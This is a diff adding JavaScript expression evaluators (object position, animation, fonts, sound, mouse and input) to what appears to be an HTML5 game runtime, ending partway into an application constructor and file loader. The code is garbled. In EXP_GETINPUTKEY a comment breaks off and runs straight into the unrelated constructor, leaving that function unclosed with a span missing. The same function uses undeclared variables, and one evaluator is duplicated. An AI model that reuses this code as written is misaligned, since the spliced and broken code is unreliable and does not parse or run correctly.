+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var angle = Math.atan2(-(y2 - pHo.hoY), (x2 - pHo.hoX)) * 180.0 / 3.141592653589;
+ if (angle < 0)
+ angle = 360 + angle;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.approximateInt(angle);
+ }
+ }
+ // CUT
+
+ function EXP_EXTACC()
+ {
+ }
+ EXP_EXTACC.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rom.rmMovement.getAcc();
+ }
+ }
+ // CUT
+
+ function EXP_EXTALPHACOEF()
+ {
+ }
+ EXP_EXTALPHACOEF.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var effect = pHo.ros.rsEffect;
+ var effectParam = pHo.ros.rsEffectParam;
+ var alpha = 0;
+ var rgbaCoeff = effectParam;
+
+ switch (effect & CRSpr.BOP_MASK)
+ {
+ case CRSpr.BOP_EFFECTEX:
+ alpha = 255 - ((effectParam >> 24) & 0xFF);
+ break;
+ case CRSpr.BOP_BLEND:
+ alpha = 255 - ((effectParam == 128) ? 0 : (255 - effectParam * 2));
+ break;
+ default:
+ if (effect & CRSpr.BOP_RGBAFILTER)
+ alpha = 255 - ((effectParam >> 24) & 0xFF);
+ break;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = alpha;
+ }
+ }
+ // CUT
+
+ function EXP_EXTDEC()
+ {
+ }
+ EXP_EXTDEC.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rom.rmMovement.getDec();
+ }
+ }
+ // CUT
+
+ function EXP_EXTDIR()
+ {
+ }
+ EXP_EXTDIR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.getDir(pHo);
+ }
+ }
+ // CUT
+
+ function EXP_EXTFLAG()
+ {
+ }
+ EXP_EXTFLAG.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var num = rhPtr.get_ExpressionInt();
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ num &= 31;
+ if (pHo.rov != null)
+ {
+ var result = 0;
+ if (((1 << num) & pHo.rov.rvValueFlags) != 0)
+ result = 1;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = result;
+ }
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ function EXP_EXTGETFONTCOLOR()
+ {
+ }
+ EXP_EXTGETFONTCOLOR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var rgb = CRun.getObjectTextColor(pHo);
+ rgb = CServices.swapRGB(rgb);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rgb;
+ }
+ }
+ // CUT
+
+ function EXP_EXTGETFONTNAME()
+ {
+ }
+ EXP_EXTGETFONTNAME.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ return;
+ }
+ var info = CRun.getObjectFont(pHo);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = info.lfFaceName;
+ }
+ }
+ // CUT
+
+ function EXP_EXTGETFONTSIZE()
+ {
+ }
+ EXP_EXTGETFONTSIZE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var info = CRun.getObjectFont(pHo);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.round((info.lfHeight * 72) / 96);
+ }
+ }
+ // CUT
+
+ function EXP_EXTGETGRAVITY()
+ {
+ }
+ EXP_EXTGETGRAVITY.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rom.rmMovement.getGravity();
+ }
+ }
+ // CUT
+
+ function EXP_EXTGETLAYER()
+ {
+ }
+ EXP_EXTGETLAYER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoLayer + 1;
+ }
+ }
+ // CUT
+
+ function EXP_EXTGETSEMITRANSPARENCY()
+ {
+ }
+ EXP_EXTGETSEMITRANSPARENCY.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var t = 0;
+ if (pHo.ros != null)
+ t = pHo.ros.getSemiTransparency();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = t;
+ }
+ }
+ // CUT
+
+ function EXP_EXTIDENTIFIER()
+ {
+ }
+ EXP_EXTIDENTIFIER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var id = (pHo.hoCreationId << 16) | (pHo.hoNumber & 0xFFFF);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = id;
+ }
+ }
+ // CUT
+
+ function EXP_EXTISPR()
+ {
+ }
+ EXP_EXTISPR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var i = 0;
+ if (pHo.roa != null)
+ i = pHo.roa.raAnimFrame;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = i;
+ }
+ }
+ // CUT
+
+ function EXP_EXTNANI()
+ {
+ }
+ EXP_EXTNANI.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var i = 0;
+ if (pHo.roa != null)
+ i = pHo.roa.raAnimOn;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = i;
+ }
+ }
+ // CUT
+
+ function EXP_EXTNMOVE()
+ {
+ }
+ EXP_EXTNMOVE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var i = 0;
+ if (pHo.roa != null)
+ i = pHo.rom.rmMvtNum;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = i;
+ }
+ }
+ // CUT
+
+ function EXP_EXTNOBJECTS()
+ {
+ }
+ EXP_EXTNOBJECTS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var qoil = this.oiList;
+ var poil;
+ if ((qoil & 0x8000) == 0)
+ {
+ poil = rhPtr.rhOiList[qoil];
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = poil.oilNObjects;
+ }
+ else
+ {
+ var count = 0;
+ if (qoil != -1)
+ {
+ var pqoi = rhPtr.rhEvtProg.qualToOiList[qoil & 0x7FFF];
+ var qoi;
+ for (qoi = 0; qoi < pqoi.qoiList.length; qoi += 2)
+ {
+ poil = rhPtr.rhOiList[pqoi.qoiList[qoi + 1]];
+ count += poil.oilNObjects;
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = count;
+ }
+ }
+ }
+ // CUT
+
+ function EXP_EXTRGBCOEF()
+ {
+ }
+ EXP_EXTRGBCOEF.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var effect = pHo.ros.rsEffect;
+ var effectParam = pHo.ros.rsEffectParam;
+ var rgb = 0;
+ var rgbaCoeff = effectParam;
+
+ if ((effect & CRSpr.BOP_MASK) == CRSpr.BOP_EFFECTEX || (effect & CRSpr.BOP_RGBAFILTER) != 0)
+ rgb = CServices.swapRGB((rgbaCoeff & 0x00FFFFFF));
+ else
+ rgb = 0x00FFFFFF;
+
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rgb;
+ }
+ }
+ // CUT
+
+ function EXP_EXTSPEED()
+ {
+ }
+ EXP_EXTSPEED.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var i = 0;
+ if (pHo.roa != null)
+ i = pHo.rom.rmMovement.getSpeed();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = i;
+ }
+ }
+ // CUT
+
+ function EXP_EXTXAP()
+ {
+ }
+ EXP_EXTXAP.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var x = 0;
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo != null)
+ {
+ x = pHo.hoX;
+ if (pHo.roa != null)
+ {
+ if (pHo.roc.rcImage >= 0)
+ {
+ var ifo;
+ ifo = rhPtr.rhApp.imageBank.getImageInfoEx(pHo.roc.rcImage, pHo.roc.rcAngle, pHo.roc.rcScaleX, pHo.roc.rcScaleY);
+ if (ifo != null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = x + ifo.xAP - ifo.xSpot;
+ return;
+ }
+ }
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = x;
+ }
+ }
+ // CUT
+
+ function EXP_EXTXLEFT()
+ {
+ }
+ EXP_EXTXLEFT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoX - pHo.hoImgXSpot;
+ }
+ }
+ // CUT
+
+ function EXP_EXTXRIGHT()
+ {
+ }
+ EXP_EXTXRIGHT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoX - pHo.hoImgXSpot + pHo.hoImgWidth;
+ }
+ }
+ // CUT
+
+ function EXP_EXTXSPR()
+ {
+ }
+ EXP_EXTXSPR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoX;
+ }
+ }
+ // CUT
+
+ function EXP_EXTYAP()
+ {
+ }
+ EXP_EXTYAP.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var y = 0;
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo != null)
+ {
+ y = pHo.hoY;
+ if (pHo.roa != null)
+ {
+ if (pHo.roc.rcImage >= 0)
+ {
+ var ifo;
+ ifo = rhPtr.rhApp.imageBank.getImageInfoEx(pHo.roc.rcImage, pHo.roc.rcAngle, pHo.roc.rcScaleX, pHo.roc.rcScaleY);
+ if (ifo != null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = y + ifo.yAP - ifo.ySpot;
+ return;
+ }
+ }
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = y;
+ }
+ }
+ // CUT
+
+ function EXP_EXTACC()
+ {
+ }
+ EXP_EXTACC.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rom.rmMovement.getAcc();
+ }
+ }
+ // CUT
+
+ function EXP_EXTYBOTTOM()
+ {
+ }
+ EXP_EXTYBOTTOM.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoY - pHo.hoImgYSpot + pHo.hoImgHeight;
+ }
+ }
+ // CUT
+
+ function EXP_EXTYSPR()
+ {
+ }
+ EXP_EXTYSPR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoY;
+ }
+ }
+ // CUT
+
+ function EXP_EXTYTOP()
+ {
+ }
+ EXP_EXTYTOP.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.hoY - pHo.hoImgYSpot;
+ }
+ }
+ // CUT
+
+ // Active object
+ // -----------------------------------------------------------------------
+ function EXP_GETANGLE()
+ {
+ }
+ EXP_GETANGLE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var angle = pHo.roc.rcAngle;
+ var pMovement = rhPtr.GetMBase(pHo);
+ if (pMovement)
+ {
+ angle = pMovement.getAngle();
+ if (angle == CRunMBase.ANGLE_MAGIC)
+ angle = pHo.roc.rcAngle;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = angle;
+ }
+ }
+ // CUT
+
+
+ function EXP_GETRGBAT()
+ {
+ }
+ EXP_GETRGBAT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ if (hoPtr == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var x = rhPtr.get_ExpressionInt();
+ rhPtr.rh4CurToken++;
+ var y = rhPtr.get_ExpressionInt();
+
+ var rgb = 0;
+ if (hoPtr.roc.rcImage != -1)
+ {
+ var image = rhPtr.rhApp.imageBank.getImageFromHandle(hoPtr.roc.rcImage);
+ rgb = image.getPixel(x, y);
+ rgb = CServices.swapRGB(rgb);
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rgb;
+ }
+ }
+ // CUT
+
+ function EXP_GETSCALEX()
+ {
+ }
+ EXP_GETSCALEX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.roc.rcScaleX;
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_GETSCALEY()
+ {
+ }
+ EXP_GETSCALEY.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.roc.rcScaleY;
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ // Speaker object
+ // -----------------------------------------------------------------------
+ function EXP_GETCHANNELDUR()
+ {
+ }
+ EXP_GETCHANNELDUR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getDurationChannel(value - 1);
+ }
+ }
+ // CUT
+
+ function EXP_GETCHANNELFREQ()
+ {
+ }
+ EXP_GETCHANNELFREQ.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getFrequencyChannel(value - 1);
+ }
+ }
+ // CUT
+
+ function EXP_GETCHANNELPOS()
+ {
+ }
+ EXP_GETCHANNELPOS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getPositionChannel(value - 1);
+ }
+ }
+ // CUT
+
+
+ function EXP_GETSAMPLEDUR()
+ {
+ }
+ EXP_GETSAMPLEDUR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var name = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getDurationSample(name);
+ }
+ }
+ // CUT
+
+ function EXP_GETSAMPLEFREQ()
+ {
+ }
+ EXP_GETSAMPLEFREQ.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var name = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getFrequencySample(name);
+ }
+ }
+ // CUT
+
+ function EXP_GETSAMPLEMAINPAN()
+ {
+ }
+ EXP_GETSAMPLEMAINPAN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var p = rhPtr.rhApp.soundPlayer.getMainPan() * 100;
+ if (p < 0)
+ p -= 0.5;
+ else
+ p += 0.5;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = p;
+ }
+ }
+ // CUT
+
+ function EXP_GETSAMPLEMAINVOL()
+ {
+ }
+ EXP_GETSAMPLEMAINVOL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getMainVolume();
+ }
+ }
+ // CUT
+
+ function EXP_GETSAMPLEPOS()
+ {
+ }
+ EXP_GETSAMPLEPOS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var name = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getPositionSample(name);
+ }
+ }
+ // CUT
+
+ function EXP_GETCHANNELVOL()
+ {
+ }
+ EXP_GETCHANNELVOL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getVolumeChannel(value - 1);
+ }
+ }
+ // CUT
+
+ function EXP_GETSAMPLEVOL()
+ {
+ }
+ EXP_GETSAMPLEVOL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var name = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.soundPlayer.getVolumeSample(name);
+ }
+ }
+
+ function EXP_GETSAMPLEPAN()
+ {
+ }
+ EXP_GETSAMPLEPAN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var name = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ function EXP_GETCHANNELPAN()
+ {
+ }
+ EXP_GETCHANNELPAN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var name = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ // Keyboard object
+ // ---------------------------------------------------------
+ function EXP_MOUSEWHEELDELTA()
+ {
+ }
+ EXP_MOUSEWHEELDELTA.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.deltaWheel * 40;
+ }
+ }
+ // CUT
+
+ function EXP_XMOUSE()
+ {
+ }
+ EXP_XMOUSE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.getXMouse();
+ }
+ }
+ // CUT
+
+ function EXP_YMOUSE()
+ {
+ }
+ EXP_YMOUSE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.getYMouse();
+ }
+ }
+ // CUT
+
+ // Player object
+ // ---------------------------------------------------------
+ function EXP_GETINPUT()
+ {
+ }
+ EXP_GETINPUT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var joueur = this.oi;
+ var r = CRunApp.CTRLTYPE_KEYBOARD;
+ if (joueur < CRunApp.MAX_PLAYER)
+ r = rhPtr.rhApp.getCtrlType()[joueur];
+ if (r == CRunApp.CTRLTYPE_KEYBOARD)
+ r = CRunApp.CTRLTYPE_MOUSE;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = r;
+ }
+ }
+ // CUT
+
+ function EXP_GETINPUTKEY()
+ {
+ }
+ EXP_GETINPUTKEY.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var joueur = this.oi;
+
+ rhPtr.rh4CurToken++;
+ var kvCode = rhPtr.get_ExpressionInt();
+ var s = "";
+ if (key < CRunApp.MAX_KEY)
+ {
+ if (vkCode >= 96 && vkCode <= 105)
+ {
+ c = vkCode - 96;
+ s = "Numpad" + c.toString();
+ }
+ else if (vkCode >= 112 && vkCode <= 126)
+ {
+ c = vkCode - 112;
+ s = "F" + c.toString();
+ }
+ else if (vkCode >= 48 && vkCode <= 57)
+ {
+ c = vkCode - 48;
+ s = c.toString();
+ }
+ else if (vkCode >= 65 && vkCode <= 90)
+ {
+ s = String.fromCharCode(vkCode);
+ }
+ else
+ {
+ s = "Control key";
+ /*TODO var n;
+ for (n=0; n= 0)
+ this.resources = path.substring(0, pos + 1);
+
+ this.frameColor = 0;
+ this.appEditorFilename = null;
+
+ this.run = null;
+ this.timer = 0;
+ this.imagesToLoad = 0;
+ this.imagesLoaded = 0;
+ this.bLoading = false;
+ this.keyNew = false;
+ this.subApps = new Array(0);
+ this.preloaderType = -1; // HTML5PRELOADER_IMAGE (0) ou HTML5PRELOADER_FRAMENUM (1)
+ this.preloaderCircleCenterX = 0;
+ this.preloaderCircleCenterY = 0;
+ this.preloaderCircleRadius = 0;
+ this.preloaderCircleThickness = 0;
+ this.preloaderCircleColor = 0;
+ this.preloaderBackColor = 0;
+ this.preloaderFrameNumber = 0; // premiรจre frame = 0
+ this.transition = null;
+ this.transitionManager = null;
+ this.transitionDisplay = null;
+ this.transitionOldSurface = null;
+ this.bStartFadeIn = false;
+ // Browser detection
+ this.browserDetect = new BrowserDetect();
+ this.touchesID = null;
+ this.touchesX = null;
+ this.touchesY = null;
+ this.mouseTouch = CRunApp.TOUCHID_EMPTY;
+ this.nTouches = 0;
+
+ this.joystick = null;
+ this.joystickOn = 0;
+
+ this.accelerometer = 0;
+ this.accelerometerHandler = null;
+ this.accX = 0;
+ this.accY = 0;
+ this.accZ = 0;
+ this.accGravX = 0;
+ this.accGravY = 0;
+ this.accGravZ = 0;
+ this.scaleX = this.scaleY = 1;
+
+ this.hasFocus = true;
+ this.bStoppedFocus = false;
+ this.iOS = false;
+ this.firstFrameColor = 0;
+ this.previousFrameGraphics = null;
+ this.graphicFonts = null;
+
+ this.infoVersion = -1;
+ this.infoFile = null;
+ this.infoCounter = 1000000000;
+ this.infoPath = null;
+ if (window.location.href.indexOf("192.") >= 0)
+ {
+ var pos = window.location.href.indexOf("21700/");
+ if (pos >= 0)
+ {
+ this.infoPath = window.location.href.substring(0, pos + 6);
+ this.infoVersion = -1;
+ this.infoCounter = 25;
+ }
+ }
+ this.bZoom = false;
+ this.dataLoadingStep = 3;
+ this.dataToLoad = new CArrayList();
+ this.dataLoading = new CArrayList();
+ this.mosaics = new Array();
+ this.mosaicMaxHandle = 0;
+ this.silentSound = null;
+ this.m_touchMe = "Please touch the screen to start";
+ this.oldFrameRate = -1000;
+ this.fullScreen = false;
+ this.versionCode = "***version***";
+ this.versionCodePos = 0;
+ this.versionCodeDisplay = 0;
+ this.codePage = -1;
+
+
+
+ this.modalSubappObject = null;
+ }
+ CRunApp.prototype =
+ {
+ loadInfo: function ()
+ {
+ var version = this.infoFile.readAInt();
+ if (this.infoVersion < 0)
+ this.infoVersion = version;
+ if (version != this.infoVersion)
+ {
+ this.infoFile.setUnicode(true);
+ var name = this.infoFile.readAString();
+ var path = this.infoPath + name;
+ window.open(path, "_self");
+ }
+ this.infoCounter = 25;
+ },
+ load: function ()
+ {
+ this.numberOfFiles = this.file.readAShort();
+ this.currentFile = 1;
+ this.loadingFile = new CFile();
+ var size = this.file.readAInt();
+ var filePath = this.path.substring(0, this.path.length - 1) + this.currentFile.toString();
+ this.loadingFile.getFile(filePath, loadApplication, size);
+ },
+ loadApplication: function ()
+ {
+ this.currentFile++;
+ if (this.currentFile > this.numberOfFiles)
+ {
+ var zip = new JSZip(this.loadingFile.getBytes(), "content");
+ var unzipped = zip.file("Application.ccj").asBinary();
+ this.loadingFile = null;
+ this.file = new CFile();
+ this.file.setBinary(unzipped);
+ this.digest();
+ this.startApplication();
+ return;
+ }
+ var size = this.file.readAInt();
+ var filePath = this.path.substring(0, this.path.length - 1) + this.currentFile.toString();
+ this.loadingFile.getFile(filePath, loadApplication, size);
+ },
+ digest: function ()
+ {
+ // Charge le mini-header
+ this.file.seek(0);
+ var b = this.file.readBuffer(4);
+ this.bUnicode = false;
+ if (b[0] == 80 && b[1] == 65 && b[2] == 77 && b[3] == 85)
+ {
+ this.bUnicode = true;
+ }
+ this.file.setUnicode(this.bUnicode);
+ this.file.skipBytes(8);
+ this.file.skipBytes(4);
+
+ // Reserve les objets
+ this.OIList = new COIList();
+ this.imageBank = new CImageBank(this);
+ this.fontBank = new CFontBank(this);
+ this.soundBank = new CSoundBank(this);
+ this.soundPlayer = new CSoundPlayer(this);
+
+ // Lis les chunks
+ var posEnd;
+ var nbPass = 0, n;
+ var chID = 0;
+ var chFlags;
+ var chSize;
+ while (chID != 0x7F7F)
+ {
+ chID = this.file.readAShort();
+ chFlags = this.file.readAShort();
+ chSize = this.file.readAInt();
+
+ if (chSize == 0)
+ {
+ continue;
+ }
+ posEnd = this.file.getFilePointer() + chSize;
+
+ switch (chID)
+ {
+ // CHUNK_APPHEADER
+ case 0x2223:
+ this.loadAppHeader();
+ // Buffer pour les offsets frame
+ this.frameOffsets = new Array(this.gaNbFrames);
+ this.frameEffects = new Array(this.gaNbFrames);
+ this.frameEffectParams = new Array(this.gaNbFrames);
+ // Pour les password
+ this.framePasswords = new Array(this.gaNbFrames);
+ for (n = 0; n < this.gaNbFrames; n++)
+ this.framePasswords[n] = null;
+ break;
+ // CHUNK_APPHDR2
+ case 0x2245:
+ this.dwOptions = this.file.readAInt();
+ this.dwBuildType = this.file.readAInt();
